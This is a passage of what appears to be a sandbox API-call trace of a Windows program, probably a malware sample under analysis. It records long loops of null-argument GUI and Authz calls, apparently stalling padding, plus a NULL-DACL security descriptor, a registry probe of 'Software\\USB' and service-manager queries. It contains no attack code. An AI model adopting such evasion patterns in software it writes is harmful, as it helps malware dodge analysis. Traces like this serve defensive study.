(param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.417] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.417] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.418] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.418] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.418] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.418] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.418] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.418] GetDlgItem (hDlg=0x0, nIDDlgItem=0) returned 0x0 [0025.418] SetWindowContextHelpId (param_1=0x0, param_2=0x4) returned 0 [0025.420] mmioDescend (in: hmmio=0x0, pmmcki=0x4ae950, pmmckiParent=0x4ae93c, fuDescend=0x10 | out: pmmcki=0x4ae950) returned 0x102 [0025.420] mmioClose (hmmio=0x0, fuClose=0x0) returned 0x5 [0025.420] mmioDescend (in: hmmio=0x0, pmmcki=0x4ae950, pmmckiParent=0x4ae93c, fuDescend=0x10 | out: pmmcki=0x4ae950) returned 0x102 [0025.420] mmioClose (hmmio=0x0, fuClose=0x0) returned 0x5 [0025.420] mmioDescend (in: hmmio=0x0, pmmcki=0x4ae950, pmmckiParent=0x4ae93c, fuDescend=0x10 | out: pmmcki=0x4ae950) returned 0x102 [0025.420] mmioClose (hmmio=0x0, fuClose=0x0) returned 0x5 [0025.420] mmioDescend (in: hmmio=0x0, pmmcki=0x4ae950, pmmckiParent=0x4ae93c, fuDescend=0x10 | out: pmmcki=0x4ae950) returned 0x102 [0025.420] mmioClose (hmmio=0x0, fuClose=0x0) returned 0x5 [0025.420] mmioDescend (in: hmmio=0x0, pmmcki=0x4ae950, pmmckiParent=0x4ae93c, fuDescend=0x10 | out: pmmcki=0x4ae950) returned 0x102 [0025.420] mmioClose (hmmio=0x0, fuClose=0x0) returned 0x5 [0025.420] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41368 | out: hHeap=0x1f40000) returned 1 [0025.420] GetModuleHandleA (lpModuleName=0x0) returned 0xd0000 [0025.420] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x532360 [0025.420] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x532360, dwRevision=0x1 | out: pSecurityDescriptor=0x532360) returned 1 [0025.420] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x532360, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x532360) returned 1 [0025.420] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\USB", ulOptions=0x0, samDesired=0x20019, phkResult=0x4ae900 | out: phkResult=0x4ae900*=0x0) returned 0x2 [0025.421] OpenSCManagerA (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x531660 [0025.423] OpenServiceA (hSCManager=0x531660, lpServiceName="", dwDesiredAccess=0x10004) returned 0x0 [0025.423] GetLastError () returned 0x7b [0025.423] SetLastError (dwErrCode=0x7b) [0025.423] GetLastError () returned 0x7b [0025.423] SetLastError (dwErrCode=0x7b) [0025.423] GetLastError () returned 0x7b [0025.423] SetLastError (dwErrCode=0x7b) [0025.424] GetLastError () returned 0x7b [0025.424] SetLastError (dwErrCode=0x7b) [0025.424] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x1000) returned 0x1f43080 [0025.424] CloseServiceHandle (hSCObject=0x531660) returned 1 [0025.427] QueryServiceStatus (in: hService=0x0, lpServiceStatus=0x4ae958 | out: lpServiceStatus=0x4ae958*(dwServiceType=0x0, dwCurrentState=0x0, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0025.430] GetLastError () returned 0x6 [0025.430] SetLastError (dwErrCode=0x6) [0025.430] GetLastError () returned 0x6 [0025.430] SetLastError (dwErrCode=0x6) [0025.430] GetLastError () returned 0x6 [0025.430] SetLastError (dwErrCode=0x6) [0025.431] CloseServiceHandle (hSCObject=0x0) returned 0 [0025.431] CloseServiceHandle (hSCObject=0x531660) returned 0 [0025.431] GetDialogBaseUnits () returned 1048584 [0025.432] CryptUnregisterDefaultOIDFunction (dwEncodingType=0x0, pszFuncName=0x0, pwszDll=0x0) returned 0 [0025.432] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0025.432] CryptUnregisterOIDFunction (dwEncodingType=0x0, pszFuncName=0x0, pszOID=0x0) returned 0 [0025.433] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x4ae924 | out: ppidl=0x4ae924) returned 0x0 [0025.437] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f41368 [0025.437] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f41380 [0025.437] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f41398 [0025.437] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41380 | out: hHeap=0x1f40000) returned 1 [0025.438] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41398 | out: hHeap=0x1f40000) returned 1 [0025.438] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41368 | out: hHeap=0x1f40000) returned 1 [0025.438] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x18) returned 0x1f41368 [0025.438] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x18) returned 0x1f41388 [0025.438] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x18) returned 0x1f413a8 [0025.453] GetLastError () returned 0x0 [0025.453] SetLastError (dwErrCode=0x0) [0025.453] GetTextExtentPoint32A (in: hdc=0x0, lpString="Te", c=7, psizl=0x4ae920 | out: psizl=0x4ae920) returned 0 [0025.454] GetLastError () returned 0x57 [0025.454] SetLastError (dwErrCode=0x57) [0025.454] GetTextExtentPoint32A (in: hdc=0x0, lpString="Te", c=7, psizl=0x4ae920 | out: psizl=0x4ae920) returned 0 [0025.454] GetLastError () returned 0x57 [0025.454] SetLastError (dwErrCode=0x57) [0025.454] GetTextExtentPoint32A (in: hdc=0x0, lpString="Te", c=7, psizl=0x4ae920 | out: psizl=0x4ae920) returned 0 [0025.454] GetLastError () returned 0x57 [0025.454] SetLastError (dwErrCode=0x57) [0025.455] GetTextExtentPoint32A (in: hdc=0x0, lpString="Te", c=7, psizl=0x4ae920 | out: psizl=0x4ae920) returned 0 [0025.455] GetLastError () returned 0x57 [0025.455] SetLastError (dwErrCode=0x57) [0025.455] GetTextExtentPoint32A (in: hdc=0x0, lpString="Te", c=7, psizl=0x4ae920 | out: psizl=0x4ae920) returned 0 [0025.455] GetLastError () returned 0x57 [0025.455] SetLastError (dwErrCode=0x57) [0025.455] GetTextExtentPoint32A (in: hdc=0x0, lpString="Te", c=7, psizl=0x4ae920 | out: psizl=0x4ae920) returned 0 [0025.455] GetLastError () returned 0x57 [0025.455] SetLastError (dwErrCode=0x57) [0025.455] GetTextExtentPoint32A (in: hdc=0x0, lpString="Te", c=7, psizl=0x4ae920 | out: psizl=0x4ae920) returned 0 [0025.455] GetLastError () returned 0x57 [0025.455] SetLastError (dwErrCode=0x57) [0025.455] GetTextExtentPoint32A (in: hdc=0x0, lpString="Te", c=7, psizl=0x4ae920 | out: psizl=0x4ae920) returned 0 [0025.455] GetLastError () returned 0x57 [0025.455] SetLastError (dwErrCode=0x57) [0025.455] GetTextExtentPoint32A (in: hdc=0x0, lpString="Te", c=7, psizl=0x4ae920 | out: psizl=0x4ae920) returned 0 [0025.455] CombineRgn (hrgnDst=0x0, hrgnSrc1=0x0, hrgnSrc2=0x0, iMode=1) returned 0 [0025.455] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.455] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.455] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.455] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.455] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.455] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.455] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.455] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.455] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.455] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.455] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.455] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.455] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.456] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.456] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.456] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.456] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.456] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.456] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.456] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.456] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.456] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.456] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.456] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.456] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.456] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.456] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.456] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.456] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.456] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.456] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.456] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.456] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.456] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.457] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.457] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.457] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.457] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.457] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.457] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.457] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.457] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.457] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.457] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.457] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.457] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.457] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.457] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.457] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.457] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.457] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.457] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.457] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.457] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.457] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.457] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.457] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.457] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.457] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.457] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.457] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.457] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.457] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.457] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.457] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.457] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.458] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.458] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.458] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.458] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.458] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.458] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.458] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.458] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.458] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.458] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.458] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.458] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.458] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.458] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.458] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.458] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.458] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.458] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.458] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.458] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.458] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.459] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.459] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.459] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.459] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.459] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.459] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.459] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.459] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.459] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.459] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.459] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.459] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.459] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.459] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.459] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.459] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.459] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.459] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.459] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.459] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.459] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.459] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.459] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.459] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.459] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.459] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.459] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.459] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.459] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.459] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.459] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.459] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.460] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.460] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.460] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.460] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.460] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.460] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.460] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.460] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.460] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.460] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.460] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.460] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.460] AuthzReportSecurityEvent (in: 